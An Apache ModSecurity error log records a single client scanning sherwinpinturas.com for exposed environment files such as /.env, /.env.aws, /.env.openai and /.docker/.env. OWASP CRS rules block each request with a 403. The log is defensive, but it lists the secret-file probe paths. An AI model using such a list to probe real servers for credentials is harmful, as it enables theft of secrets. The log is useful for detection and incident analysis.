[Tue Oct 27 09:04:00.203613 2026] [security2:error] [pid 3237845:tid 3237845] [client 207.175.194.102:42572] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "auChQLvyvYxrvOc4a9_XrgAAAAI"]
[Tue Oct 27 09:04:00.203880 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "auChQDyZibD2nTuanG6-kQAAAAk"]
[Tue Oct 27 09:04:00.203894 2026] [security2:error] [pid 3237845:tid 3237845] [client 207.175.194.102:42572] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "auChQLvyvYxrvOc4a9_XrgAAAAI"]
[Tue Oct 27 09:04:00.205195 2026] [security2:error] [pid 3219292:tid 3219292] [client 207.175.194.102:42546] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auChQG_oZ855J3-bmxErCQAAAAY"]
[Tue Oct 27 09:04:00.205354 2026] [security2:error] [pid 3219292:tid 3219292] [client 207.175.194.102:42546] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auChQG_oZ855J3-bmxErCQAAAAY"]
[Tue Oct 27 09:04:00.205601 2026] [security2:error] [pid 3219292:tid 3219292] [client 207.175.194.102:42546] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auChQG_oZ855J3-bmxErCQAAAAY"]
[Tue Oct 27 09:04:00.206593 2026] [security2:error] [pid 3237843:tid 3237843] [client 207.175.194.102:42580] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.aws"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "auChQLL0NGPtr6217jDWawAAAAA"]
[Tue Oct 27 09:04:00.206760 2026] [security2:error] [pid 3237843:tid 3237843] [client 207.175.194.102:42580] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "auChQLL0NGPtr6217jDWawAAAAA"]
[Tue Oct 27 09:04:00.206979 2026] [security2:error] [pid 3237843:tid 3237843] [client 207.175.194.102:42580] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "auChQLL0NGPtr6217jDWawAAAAA"]
[Tue Oct 27 09:04:00.207808 2026] [security2:error] [pid 3209603:tid 3209603] [client 207.175.194.102:42562] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auChQD4THoroSjopRdUBIQAAAAE"]
[Tue Oct 27 09:04:00.207881 2026] [security2:error] [pid 3227580:tid 3227580] [client 207.175.194.102:42548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auChQGUNDY12-2npPMSGigAAAAo"]
[Tue Oct 27 09:04:00.207953 2026] [security2:error] [pid 3209603:tid 3209603] [client 207.175.194.102:42562] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auChQD4THoroSjopRdUBIQAAAAE"]
[Tue Oct 27 09:04:00.208007 2026] [security2:error] [pid 3227580:tid 3227580] [client 207.175.194.102:42548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auChQGUNDY12-2npPMSGigAAAAo"]
[Tue Oct 27 09:04:00.208195 2026] [security2:error] [pid 3209603:tid 3209603] [client 207.175.194.102:42562] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auChQD4THoroSjopRdUBIQAAAAE"]
[Tue Oct 27 09:04:00.208239 2026] [security2:error] [pid 3227580:tid 3227580] [client 207.175.194.102:42548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auChQGUNDY12-2npPMSGigAAAAo"]
[Tue Oct 27 09:04:00.281837 2026] [security2:error] [pid 3237845:tid 3237845] [client 207.175.194.102:42572] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auChQLvyvYxrvOc4a9_XrwAAAAI"]
[Tue Oct 27 09:04:00.281837 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auChQDyZibD2nTuanG6-kgAAAAk"]
[Tue Oct 27 09:04:00.282077 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auChQDyZibD2nTuanG6-kgAAAAk"]
[Tue Oct 27 09:04:00.282080 2026] [security2:error] [pid 3237845:tid 3237845] [client 207.175.194.102:42572] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auChQLvyvYxrvOc4a9_XrwAAAAI"]
[Tue Oct 27 09:04:00.282354 2026] [security2:error] [pid 3237845:tid 3237845] [client 207.175.194.102:42572] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auChQLvyvYxrvOc4a9_XrwAAAAI"]
[Tue Oct 27 09:04:00.282358 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auChQDyZibD2nTuanG6-kgAAAAk"]
[Tue Oct 27 09:04:00.283401 2026] [security2:error] [pid 3219292:tid 3219292] [client 207.175.194.102:42546] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auChQG_oZ855J3-bmxErCgAAAAY"]
[Tue Oct 27 09:04:00.283533 2026] [security2:error] [pid 3219292:tid 3219292] [client 207.175.194.102:42546] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auChQG_oZ855J3-bmxErCgAAAAY"]
[Tue Oct 27 09:04:00.283772 2026] [security2:error] [pid 3219292:tid 3219292] [client 207.175.194.102:42546] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auChQG_oZ855J3-bmxErCgAAAAY"]
[Tue Oct 27 09:04:00.283893 2026] [security2:error] [pid 3237926:tid 3237926] [client 207.175.194.102:42592] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auChQF-8Lhg5M1Fe2hj9mQAAABI"]
[Tue Oct 27 09:04:00.284086 2026] [security2:error] [pid 3237926:tid 3237926] [client 207.175.194.102:42592] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auChQF-8Lhg5M1Fe2hj9mQAAABI"]
[Tue Oct 27 09:04:00.284427 2026] [security2:error] [pid 3237926:tid 3237926] [client 207.175.194.102:42592] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auChQF-8Lhg5M1Fe2hj9mQAAABI"]
[Tue Oct 27 09:04:00.284688 2026] [security2:error] [pid 3237843:tid 3237843] [client 207.175.194.102:42580] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auChQLL0NGPtr6217jDWbAAAAAA"]
[Tue Oct 27 09:04:00.284818 2026] [security2:error] [pid 3237843:tid 3237843] [client 207.175.194.102:42580] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auChQLL0NGPtr6217jDWbAAAAAA"]
[Tue Oct 27 09:04:00.285095 2026] [security2:error] [pid 3237843:tid 3237843] [client 207.175.194.102:42580] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auChQLL0NGPtr6217jDWbAAAAAA"]
[Tue Oct 27 09:04:00.285399 2026] [security2:error] [pid 3209603:tid 3209603] [client 207.175.194.102:42562] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auChQD4THoroSjopRdUBIgAAAAE"]
[Tue Oct 27 09:04:00.285530 2026] [security2:error] [pid 3209603:tid 3209603] [client 207.175.194.102:42562] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auChQD4THoroSjopRdUBIgAAAAE"]
[Tue Oct 27 09:04:00.285787 2026] [security2:error] [pid 3209603:tid 3209603] [client 207.175.194.102:42562] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auChQD4THoroSjopRdUBIgAAAAE"]
[Tue Oct 27 09:04:00.285998 2026] [security2:error] [pid 3227580:tid 3227580] [client 207.175.194.102:42548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auChQGUNDY12-2npPMSGiwAAAAo"]
[Tue Oct 27 09:04:00.286150 2026] [security2:error] [pid 3227580:tid 3227580] [client 207.175.194.102:42548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auChQGUNDY12-2npPMSGiwAAAAo"]
[Tue Oct 27 09:04:00.286393 2026] [security2:error] [pid 3227580:tid 3227580] [client 207.175.194.102:42548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auChQGUNDY12-2npPMSGiwAAAAo"]
[Tue Oct 27 09:04:00.357561 2026] [security2:error] [pid 3237845:tid 3237845] [client 207.175.194.102:42572] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.openai"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.openai"] [unique_id "auChQLvyvYxrvOc4a9_XsAAAAAI"]
[Tue Oct 27 09:04:00.357759 2026] [security2:error] [pid 3237845:tid 3237845] [client 207.175.194.102:42572] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.openai"] [unique_id "auChQLvyvYxrvOc4a9_XsAAAAAI"]
[Tue Oct 27 09:04:00.357895 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.php"] [unique_id "auChQDyZibD2nTuanG6-kwAAAAk"]
[Tue Oct 27 09:04:00.358028 2026] [security2:error] [pid 3237845:tid 3237845] [client 207.175.194.102:42572] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.openai"] [unique_id "auChQLvyvYxrvOc4a9_XsAAAAAI"]
